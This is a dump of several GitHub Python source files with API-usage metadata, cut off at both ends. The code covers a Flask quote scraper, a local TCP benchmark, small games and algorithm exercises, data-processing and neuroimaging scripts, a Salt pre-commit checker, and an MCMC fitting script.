"call"}, {"api_name": "numpy.log", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.functional.binary_cross_entropy_with_logits", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.functional.binary_cross_entropy", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 107, "usage_type": "attribute"}]}
{"seq_id": "24882722851", "text": "import os\r\n\r\nfrom flask import Flask, render_template, request, jsonify\r\nfrom flask_cors import CORS, cross_origin\r\nimport requests\r\nfrom bs4 import BeautifulSoup as bs\r\nfrom urllib.request import urlopen as uReq\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route('/', methods=['GET'])  # route to display the home page\r\n@cross_origin()\r\ndef homePage():\r\n    return render_template(\"index.html\")\r\n\r\n@app.route('/quote', methods=['POST', 'GET'])  # route to show the quotes in a web UI\r\n@cross_origin()\r\ndef index():\r\n    if request.method == 'POST':\r\n        try:\r\n            searchString = request.form['content'].replace(\" \", \"\")\r\n            site_url = 'http://quotes.toscrape.com/tag/' + searchString.lower() + '/'\r\n            uClient = uReq(site_url)\r\n            site_page = uClient.read()\r\n            uClient.close()\r\n            scrap_html = bs(site_page, \"html.parser\")\r\n\r\n            filename = searchString + \".csv\"\r\n            fw = open(filename, \"w\")\r\n            headers = \"Author, Quote \\n\"\r\n            fw.write(headers)\r\n            #reviews = []\r\n            quotes = []\r\n\r\n\r\n            for data in scrap_html.find_all('div', {'class': 'quote'}):\r\n                quotes.append({'Author': str(data.small.text), 'Quote': str(data.span.text)})\r\n\r\n            return render_template('results.html', Quotes=quotes[0:(len(quotes) - 1)])\r\n\r\n        except Exception as e:\r\n            print('The Exception message is: ', e)\r\n            return 'something is wrong'\r\n    else:\r\n        return render_template('index.html')\r\n\r\nport = int(os.getenv(\"PORT\"))\r\nif __name__ == \"__main__\":\r\n    #app.run(host='0.0.0.0', port=5000)\r\n    app.run(host='0.0.0.0', port=port)\r\n", "repo_name": "Satyam-Singh123/Webscrapper_app", "sub_path": "flask_app.py", "file_name": "flask_app.py", "file_ext": "py", "file_size_in_byte": 1672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 24, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "2922127589", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n# import gl\nimport sys, threading\n\nimport json\nimport httplib, urllib, urllib2\nimport time\nfrom net.unblocktcpclient  import UnblockTcpClient\n\nimport json,thread\n\n\nseqid_lock = thread.allocate_lock() #创建锁对象\n\nrecieve_num_lock = thread.allocate_lock() #创建锁对象\nsend_num_lock=thread.allocate_lock()\nrecieve_num= 0\nsend_num = 0\nseqid=0\nphone = \"15960565013\"\nname = \"test-name\"\n\nusers=\"\"\n\n\ndef get_seq():\n    seqid_lock.acquire()\n    global seqid\n    seqid += 1\n    seqid_lock.release()\n    return seqid\n\n\ndef send_im_callback(proto):\n    recieve_num_lock.acquire() #加锁\n    global recieve_num\n    recieve_num = recieve_num + 1\n    # print (\"recieve_num\",recieve_num)\n    recieve_num_lock.release()\n\ndef benchmark(index):\n\n    tcp = UnblockTcpClient(\"127.0.0.1\", 8008)\n\n    tcp.start_client()\n\n\n\n\n    msg = {}\n    msg[\"CONTENT_TEXT\"] = \"hello,I am \"\n    msg['src_userid'] = 9999\n    msg['datetime'] = str(time.localtime())\n    root = [msg]\n    print (json.dumps(root))\n\n    for i in range(0, 10000):\n        # send(index,tcp)\n        send_num_lock.acquire()\n        global send_num\n        send_num = send_num + 1\n        tcp.send_json(1, 2, get_seq(), json.dumps(root) , send_im_callback)\n\n        send_num_lock.release()\n\n        time.sleep(0.1)\n\n\n    while(1):\n        time.sleep(100)  #保活，以便连接维持。\n\n\nif __name__ == '__main__':\n    time.sleep(1)\n\n    for i in range(0, 10):\n        threading.Thread(target=benchmark, args=(i,), name=str(i)).start()\n        time.sleep(0.2)\n        #threading.Thread(target=doAdd, args=(), name='thread - ' + str(i)).start()\n        #benchmark()\n\n\n\n    while(1):\n        time.sleep(10)\n        # print (\"send_num:========================================\",send_num,\"recieve_num:\", recieve_num)\n        # print (\"send_num:========================================\",send_num,\"recieve_num:\", recieve_num)\n        print (\"send_num:========================================\",send_num,\"recieve_num:\", recieve_num)\n", "repo_name": "yuanchangxing/czu", "sub_path": "src/python/benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 2023, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "thread.allocate_lock", "line_number": 16, "usage_type": "call"}, {"api_name": "thread.allocate_lock", "line_number": 18, "usage_type": "call"}, {"api_name": "thread.allocate_lock", "line_number": 19, "usage_type": "call"}, {"api_name": "net.unblocktcpclient.UnblockTcpClient", "line_number": 46, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 58, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 69, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 80, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 88, "usage_type": "call"}]}
{"seq_id": "5101471377", "text": "import random\nfrom replit import clear\nfrom hangman_words import word_list\nfrom hangman_art import logo,stages\n\n# chosing a random word from the list\nchosen_word=random.choice(word_list)\n\n# printing welcome logo\nprint(logo)\n\n#Displaying the dashes\ndisplay=[]\nfor letter in chosen_word:\n  display+=\"_\"\nprint(f\"{' '.join(display)}\")\n\n#checking if the guess matches the word\n#lives\nlives=6\nflag=False\n\nwhile lives>0 and flag==False:\n\n  #Guessing a letter\n  guess=input(\"Guess a letter: \").lower()\n  \n  #clearing the screen each time\n  clear()\n\n  # To see if the letter is already guessed\n  if guess in display:\n    print(f\"You have already guessed {guess}\")\n  \n  # swapping the dash with guess if guess matches\n  for i in range(0,len(chosen_word)):\n    if chosen_word[i]==guess:\n      display[i]=guess\n  print(f\"{' '.join(display)}\")\n  \n  # if guess not in word draw hangman\n  if guess not in chosen_word:\n    lives-=1\n    print(f\"You guessed {guess}, that is not in the word.You lose a life.\")\n    if lives==0:\n      print(\"YOU LOSE\")\n\n  #if every dash has been guessed correctly\n  if \"_\"not in display:\n    print(\"YOU WIN\")\n    flag=True\n  \n  print(stages[lives])\n  \n\n    \n  \n   \n  \n    \n", "repo_name": "VarshaVidya/Day-7-Hangman", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1187, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.choice", "line_number": 7, "usage_type": "call"}, {"api_name": "hangman_words.word_list", "line_number": 7, "usage_type": "argument"}, {"api_name": "hangman_art.logo", "line_number": 10, "usage_type": "argument"}, {"api_name": "replit.clear", "line_number": 29, "usage_type": "call"}, {"api_name": "hangman_art.stages", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "39031124638", "text": "from collections import deque\n\nn = int(input())\nv = int(input())\ngraph = [[] * n for _ in range(n)]\nvisited = [0] * n\ncnt = 0\n\nfor _ in range(v):\n    s, e = map(int, input().split())\n    graph[s-1].append(e-1)\n    graph[e-1].append(s-1)\n\ndef bfs(v):\n    global cnt\n    q = deque()\n    q.append(v)\n    visited[v] = 1\n\n    while q:\n        cur_node = q.popleft()\n        for n in graph[cur_node]:\n            if visited[n] == 0:\n                q.append(n)\n                visited[n] = 1\n                cnt += 1\n\n\nbfs(0)\nprint(cnt)", "repo_name": "yoseph0310/Algorithm_Python", "sub_path": "BaekJoon/실버/3/2606_바이러스(BFS).py", "file_name": "2606_바이러스(BFS).py", "file_ext": "py", "file_size_in_byte": 530, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "5629381185", "text": "from datetime import datetime as _dt\n\ndef _create_generator(file_handler, threshold):\n    \n    row2list = lambda row: row.strip().split(\",\")\n    \n    for line in file_handler:\n        try:\n            if int(row2list(line)[3]) >= threshold:\n                yield row2list(line)\n        except ValueError as message:\n            print(\"Header found, ValueError:\", message)\n            yield row2list(line)\n        \ndef get_revenue_date(file_path, revenue_threshold, dayOfTheWeek=False):\n    #row2list = lambda row: row.strip().split(\",\")\n    with open(file_path, \"r\") as marketing_data:\n        #marketing_generator = (row2list(line) for line in marketing_data if int(row2list(line)[3]) >= revenue_threshold)\n        marketing_generator = _create_generator(marketing_data, revenue_threshold)\n        \n        open('Marketing_filtered_data.csv', \"w\").close()\n            \n        with open('Marketing_filtered_data.csv', 'a') as file_handler:\n            for row in marketing_generator:\n                date, day_name, visitors, revenue, marketing_spend, promo = row\n                \n                try:\n                    date = _dt.strptime(date, '%d/%m/%Y')\n                    date = date.strftime(\"%d-%m-%Y\")\n                except ValueError as message:\n                    date = date\n                \n                date_string = day_name if dayOfTheWeek else date\n                #print(f\"{date_string},{revenue}\", file=file_handler)\n                print(\",\".join([date_string, revenue]), file=file_handler)", "repo_name": "alientometal/PythonTraining_Hexavarsity", "sub_path": "python_basics/session_annotations/revenue_operations.py", "file_name": "revenue_operations.py", "file_ext": "py", "file_size_in_byte": 1518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}]}
{"seq_id": "12891929268", "text": "from heapq import heapify, heappop\nfrom typing import List\n\n\nclass Solution:\n    def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n        return sorted(points, key=lambda p: p[0] * p[0] + p[1] * p[1])[:k]\n\n\nclass Solution2:\n    def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n\n        dists = []\n        for p in points:\n            dists.append((p[0] ** 2 + p[1] ** 2, p))\n        heapify(dists)\n        ans = []\n        for _ in range(k):\n            _, p = heappop(dists)\n            ans.append(p)\n        return ans\n\n\ndef test():\n    sol = Solution()\n    print('Test 1 ... ', end='')\n    assert sol.kClosest(points=[[1, 3], [-2, 2]], k=1) == [[-2, 2]]\n    print('ok')\n    print('Test 2 ... ', end='')\n    assert sol.kClosest(points=[[3, 3], [5, -1], [-2, 4]], k=2) == [[3, 3], [-2, 4]]\n    print('ok')\n\n\nif __name__ == '__main__':\n    test()\n", "repo_name": "Vskesha/leetcode_solutions", "sub_path": "leetcode_solutions/p973_k_closest_points_to_origin.py", "file_name": "p973_k_closest_points_to_origin.py", "file_ext": "py", "file_size_in_byte": 893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 11, "usage_type": "name"}, {"api_name": "heapq.heapify", "line_number": 16, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "26416778583", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar  1 17:46:56 2023\r\n\r\n@author: Nicolas Indriets\r\n\"\"\"\r\n\r\nimport os \r\nimport numpy as np\r\nimport pandas as pd\r\nimport sys\r\nfrom dipy.io.image import load_nifti, save_nifti\r\nimport nibabel as nib\r\nfrom os.path import join as pjoin\r\nfrom dipy.viz import regtools\r\nfrom dipy.io.image import load_nifti, save_nifti\r\nfrom dipy.align.imaffine import AffineMap\r\n\r\n#%% ===========================================================================\r\n# Create atlas from csv files and nifti files with labels\r\n#==============================================================================\r\n\r\n\r\ndata = pd.read_csv(\"D:/Atlas_Maps/Atlas_Maps/atlas_desikan_killiany.csv\")\r\ndata_nifti, affine, img = load_nifti(\"D:/Atlas_Maps/Atlas_Maps/atlas_desikan_killiany_resampled.nii.gz\", return_img=True)\r\ndata.info()\r\nfor i in range(len(data[\"index\"])): \r\n    atlas = np.zeros(data_nifti.shape)\r\n    atlas[data_nifti == data[\"index\"][i]] = 1\r\n    save_nifti(\"D:/Atlas_Maps/Atlas_Maps/Desikan_Killiany/\" + data[\"name\"][i] +\".nii.gz\", atlas.astype(np.float32),affine)\r\n\r\n#%% ===========================================================================\r\n# Resampled Atlas nifti into T1 dimensions\r\n#==============================================================================\r\n\r\nfolder = \"D:/Atlas_Maps/Atlas_Maps\"\r\nstatic_data, static_affine, static_img = load_nifti(\r\n                                            pjoin(folder, 'MNI152_T1_1mm_brain.nii.gz'),\r\n                                            return_img=True)\r\nstatic = static_data\r\nstatic_grid2world = static_affine\r\n\r\nmoving_data, moving_affine, moving_img = load_nifti(\r\n                                            pjoin(folder, 'atlas_desikan_killiany.nii.gz'),\r\n                                            return_img=True)\r\nmoving = moving_data\r\nmoving_grid2world = moving_affine\r\n\r\nidentity = np.eye(4)\r\naffine_map = AffineMap(identity,\r\n                       static.shape, static_grid2world,\r\n                       moving.shape, moving_grid2world)\r\nprint(affine_map.affine)\r\nresampled = affine_map.transform(moving)\r\nregtools.overlay_slices(static, resampled, None, 0,\r\n                        \"Static\", \"Moving\", \"resampled_0.png\")\r\nregtools.overlay_slices(static, resampled, None, 1,\r\n                        \"Static\", \"Moving\", \"resampled_1.png\")\r\nregtools.overlay_slices(static, resampled, None, 2,\r\n                        \"Static\", \"Moving\", \"resampled_2.png\")\r\n\r\nsave_nifti(\"D:/Atlas_Maps/Atlas_Maps/atlas_desikan_killiany_resampled.nii.gz\", resampled.astype(np.float32),static_affine)\r\n", "repo_name": "NicolasIndriets/Master-Thesis", "sub_path": "codes/create_atlas.py", "file_name": "create_atlas.py", "file_ext": "py", "file_size_in_byte": 2582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "dipy.io.image.load_nifti", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "dipy.io.image.save_nifti", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "dipy.io.image.load_nifti", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "dipy.io.image.load_nifti", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 49, "usage_type": "call"}, {"api_name": "dipy.align.imaffine.AffineMap", "line_number": 50, "usage_type": "call"}, {"api_name": "dipy.viz.regtools.overlay_slices", "line_number": 55, "usage_type": "call"}, {"api_name": "dipy.viz.regtools", "line_number": 55, "usage_type": "name"}, {"api_name": "dipy.viz.regtools.overlay_slices", "line_number": 57, "usage_type": "call"}, {"api_name": "dipy.viz.regtools", "line_number": 57, "usage_type": "name"}, {"api_name": "dipy.viz.regtools.overlay_slices", "line_number": 59, "usage_type": "call"}, {"api_name": "dipy.viz.regtools", "line_number": 59, "usage_type": "name"}, {"api_name": "dipy.io.image.save_nifti", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 62, "usage_type": "attribute"}]}
{"seq_id": "1304687080", "text": "# this is a five fold stratified cross validation code\r\nimport random\r\nfrom collections import Counter\r\n\r\ndef get_five_folds(instances):\r\n    print('[+] Doing the 5 fold stratified cross validation setup.')\r\n    f0, f1, f2, f3, f4 = [], [], [], [], []\r\n\r\n    # shuffle the data around\r\n    random.shuffle(instances)\r\n    classes = []\r\n\r\n    # for each instance append the class\r\n    for instance in instances:\r\n        classes.append(instance['Class'])\r\n        \r\n    # after calling counter() -> {c1 : X, c2: X, c3: X...}\r\n    # after doing counter().keys() -> {c1, c2, c3...}\r\n    # after doing list(counter().key()) -> [c1, c2, c3...]\r\n    unique_classes = list(Counter(classes).keys())\r\n\r\n    # display unique classes\r\n    print('\\nUnique classes\\n| ', end = '')\r\n    for i in unique_classes:\r\n        print(i, end = ' | ')\r\n\r\n    # for each unique class, add it to the each fold rougly the same\r\n    # ammount of time\r\n    for uniqueclass in unique_classes:\r\n        counter = 0\r\n\r\n        for instance in instances:\r\n\r\n            if uniqueclass == instance['Class']:\r\n                if counter == 0:\r\n                    f0.append(instance)\r\n                    counter += 1\r\n                \r\n                elif counter == 1:\r\n                    f1.append(instance)\r\n                    counter += 1\r\n\r\n                elif counter == 2:\r\n                    f2.append(instance)\r\n                    counter += 1\r\n                \r\n                elif counter == 3:\r\n                    f3.append(instance)\r\n                    counter += 1\r\n                \r\n                else:\r\n                    f4.append(instance)\r\n                    counter = 0\r\n\r\n    \r\n    # shuffle the folds again\r\n    random.shuffle(f0)\r\n    random.shuffle(f1)\r\n    random.shuffle(f2)\r\n    random.shuffle(f3)\r\n    random.shuffle(f4)\r\n\r\n    return f0, f1, f2, f3, f4\r\n", "repo_name": "iamnotluka/ML", "sub_path": "id3/ffscv.py", "file_name": "ffscv.py", "file_ext": "py", "file_size_in_byte": 1862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.shuffle", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 20, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 57, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 58, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 59, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 60, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "8909222805", "text": "import pickle\r\nlr2 = pickle.load(open(\"lr_c32_TD.pkl\",'rb'))\r\n\r\nimport numpy as np\r\nfrom flask import Flask,request,jsonify,render_template\r\n\r\napp = Flask(__name__)\r\n@app.route(\"/\")# It binds the website with a specific url \r\n\r\ndef homepage(name):\r\n    return render_template(\"index.html\")    \r\n \r\n@app.route(\"/predict\", method = ['POST']  ) \r\ndef predict(name):\r\n    int_features = lr.predict([np.array([int(x) for x in reuqest.form.values()])])\r\n    return render_template(\"index.html\", prediction_text = int_features)    \r\n   \r\nif __name__==\"__main__\":\r\n    app.run(port = 5001, debug = True)", "repo_name": "tapasdas211/c322_files_td", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 595, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pickle.load", "line_number": 2, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "12856216824", "text": "\"\"\"\nSalt loader checks\n\"\"\"\n\nimport ast\nimport pathlib\n\nfrom ptscripts import Context, command_group\n\nimport tools.utils\nfrom tools.precommit import SALT_INTERNAL_LOADERS_PATHS\n\nSALT_CODE_DIR = tools.utils.REPO_ROOT / \"salt\"\n\ncgroup = command_group(name=\"salt-loaders\", help=__doc__, parent=\"pre-commit\")\n\n\n@cgroup.command(\n    name=\"check-virtual\",\n    arguments={\n        \"files\": {\n            \"help\": \"List of files to check\",\n            \"nargs\": \"*\",\n        },\n        \"enforce_virtualname\": {\n            \"help\": \"Enforce the usage of `__virtualname__`\",\n        },\n    },\n)\ndef check_virtual(\n    ctx: Context, files: list[pathlib.Path], enforce_virtualname: bool = False\n) -> None:\n    \"\"\"\n    Check Salt loader modules for a defined `__virtualname__` attribute and `__virtual__` function.\n\n    This is meant to replace:\n\n        https://github.com/saltstack/salt/blob/27ae8260983b11fe6e32a18e777d550be9fe1dc2/tests/unit/test_virtualname.py\n    \"\"\"\n    if not files:\n        _files = list(SALT_CODE_DIR.rglob(\"*.py\"))\n    else:\n        _files = [fpath.resolve() for fpath in files if fpath.suffix == \".py\"]\n\n    errors = 0\n    exitcode = 0\n    for path in _files:\n        strpath = str(path)\n        if path.name == \"__init__.py\":\n            continue\n        for loader in SALT_INTERNAL_LOADERS_PATHS:\n            try:\n                path.relative_to(loader)\n                break\n            except ValueError:\n                # Path doesn't start with the loader path, carry on\n                continue\n        module = ast.parse(path.read_text(), filename=str(path))\n        found_virtual_func = False\n        for funcdef in [\n            node for node in module.body if isinstance(node, ast.FunctionDef)\n        ]:\n            if funcdef.name == \"__virtual__\":\n                found_virtual_func = True\n                break\n        if not found_virtual_func:\n            # If the module does not define a __virtual__() function, we don't require a __virtualname__ attribute\n            continue\n\n        found_virtualname_attr = False\n        for node in module.body:\n            if isinstance(node, ast.Assign):\n                if not found_virtualname_attr:\n                    for target in node.targets:\n                        if not isinstance(target, ast.Name):\n                            continue\n                        if target.id == \"__virtualname__\":\n                            found_virtualname_attr = True\n                            if node.value.s not in path.name:  # type: ignore[attr-defined]\n                                errors += 1\n                                exitcode = 1\n                                ctx.error(\n                                    'The value of the __virtualname__ attribute, \"{}\"'\n                                    \" is not part of {}\".format(\n                                        node.value.s,  # type: ignore[attr-defined]\n                                        path.name,\n                                    )\n                                )\n            if found_virtualname_attr:\n                break\n\n        if not found_virtualname_attr and enforce_virtualname:\n            errors += 1\n            exitcode = 1\n            ctx.error(\n                f\"The salt loader module {path.relative_to(tools.utils.REPO_ROOT)} defines \"\n                \"a __virtual__() function but does not define a __virtualname__ attribute\"\n            )\n    if exitcode:\n        ctx.error(f\"Found {errors} errors\")\n    ctx.exit(exitcode)\n", "repo_name": "saltstack/salt", "sub_path": "tools/precommit/loader.py", "file_name": "loader.py", "file_ext": "py", "file_size_in_byte": 3501, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tools.utils.utils", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tools.utils", "line_number": 13, "usage_type": "name"}, {"api_name": "ptscripts.command_group", "line_number": 15, "usage_type": "call"}, {"api_name": "ptscripts.Context", "line_number": 31, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tools.precommit.SALT_INTERNAL_LOADERS_PATHS", "line_number": 51, "usage_type": "name"}, {"api_name": "ast.parse", "line_number": 58, "usage_type": "call"}, {"api_name": "ast.FunctionDef", "line_number": 61, "usage_type": "attribute"}, {"api_name": "ast.Assign", "line_number": 72, "usage_type": "attribute"}, {"api_name": "ast.Name", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tools.utils.utils", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tools.utils", "line_number": 96, "usage_type": "name"}]}
{"seq_id": "27008027065", "text": "import os\nfrom utils.translator import Translator\nfrom flask import Flask, request, send_from_directory, redirect\nimport gdown\nimport sys\n\nmodels_dir = 'models/'\n\nif not os.path.exists(models_dir) or len(os.listdir(models_dir)) == 0 or 'download' in sys.argv:\n    url = 'https://drive.google.com/drive/u/1/folders/1-4X-5stuETesyQA8kxgf-QvuH2VCHzaB'\n    gdown.download_folder(url)\n\ntranslators = {}\nfor model_name in os.listdir(models_dir):\n    if model_name.endswith('.torch'):\n        print(f'loading: {model_name}')\n        translators[model_name] = Translator(model_name)\n\napp = Flask(__name__)\n\ndef create_reponse(result, type=True):\n    return {\n        'status': type,\n        ('result' if type else 'error'): result\n    }\n\n@app.route('/')\ndef root():\n    return redirect('/index.html')\n\n@app.route('/<path:path>')\ndef public(path):\n    return send_from_directory('public', path)\n\n@app.route('/api/models')\ndef models():\n    models = os.listdir('models/')\n    return create_reponse(models)\n\n@app.route('/api/translate')\ndef translate():\n    try:\n        args = request.args\n        model_name = args.get('model')\n        sentence = args.get('sentence')\n        translator = translators[model_name]\n        res = translator(sentence)\n        return create_reponse(res)\n    except Exception as e:\n        return create_reponse(str(e), type=False)\n\nif __name__ == \"__main__\":\n    app.run(debug=False)\n\n", "repo_name": "GeremiaPompei/zero_shot_nmt", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1405, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.exists", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "gdown.download_folder", "line_number": 11, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.translator.Translator", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 33, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "31778292775", "text": "import numpy as np\nfrom astropy.io import ascii\nimport os\nimport time\nimport sys\nfrom lnprob import lnprob\nimport emcee\n\n# - DEFINITIONS\n\n# bin locations\nnbins = 20\nb = 0.05 + 0.05*np.arange(nbins)\na = np.roll(b, 1)\nrin = 0.01/140.\na[0] = rin\ncb = 0.5*(a+b)\nbins = rin, b\n\n# load and re-pack the \"data\" visibilities\nvisdata = np.load('data/blind2_fo.340GHz.vis.npz')\nfreq = 340e9\nu = 1e-3*visdata['u']*freq/2.9979e8\nv = 1e-3*visdata['v']*freq/2.9979e8\nreal = visdata['Re']\nimag = visdata['Im']\nwgt = 10000.*visdata['Wt']\ndata = u, v, real, imag, wgt\n\n\n# - INITIALIZE MCMC\n\n# initialize walkers\nndim, nwalkers, nthreads = nbins+4, 80, 8\n\n# load the initial surface brightness guesses\np0 = np.load('chain.npy')[:, -1, :]\n\n\n# - SAMPLE POSTERIOR\n\n# initialize sampler\nsampler = emcee.EnsembleSampler(nwalkers, ndim, lnprob, threads=nthreads, \\\n                                args=[data, bins])\n\n# emcee sampler; track time\niter = 100\ntic0 = time.time()\nsampler.run_mcmc(p0, iter)\ntoc = time.time()\n\n# save the results in a binary file\nnp.save('contchain', sampler.chain)\n\n# grab previous notes\nnotesy = ascii.read(\"notes.dat\")\nliter = notesy['col3'][-1]\nltime = notesy['col1'][-1]\n\n# add a note\nf = open(\"notes.dat\", \"a\")\nf.write(\"{0:f}   {1:f}   {2:f}\\n\".format(ltime+(toc-tic0)/3600., \\\n                                         (toc-tic0)/3600., \\\n                                         liter+iter))\nf.close()\n\n# loop to keep running!\nfor i in range(49):\n    tic = time.time()\n    sampler.run_mcmc(sampler.chain[:, -1, :], iter)\n    toc = time.time()\n    np.save('contchain', sampler.chain)\n    f = open(\"notes.dat\", \"a\")\n    f.write(\"{0:f}   {1:f}   {2:f}\\n\".format(ltime+(toc-tic0)/3600., \\\n                                             (toc-tic)/3600., \\\n                                             liter+(2+i)*iter))\n    f.close()\n\n# concatenate chains\ncchain = np.concatenate((np.load('chain.npy'), sampler.chain), 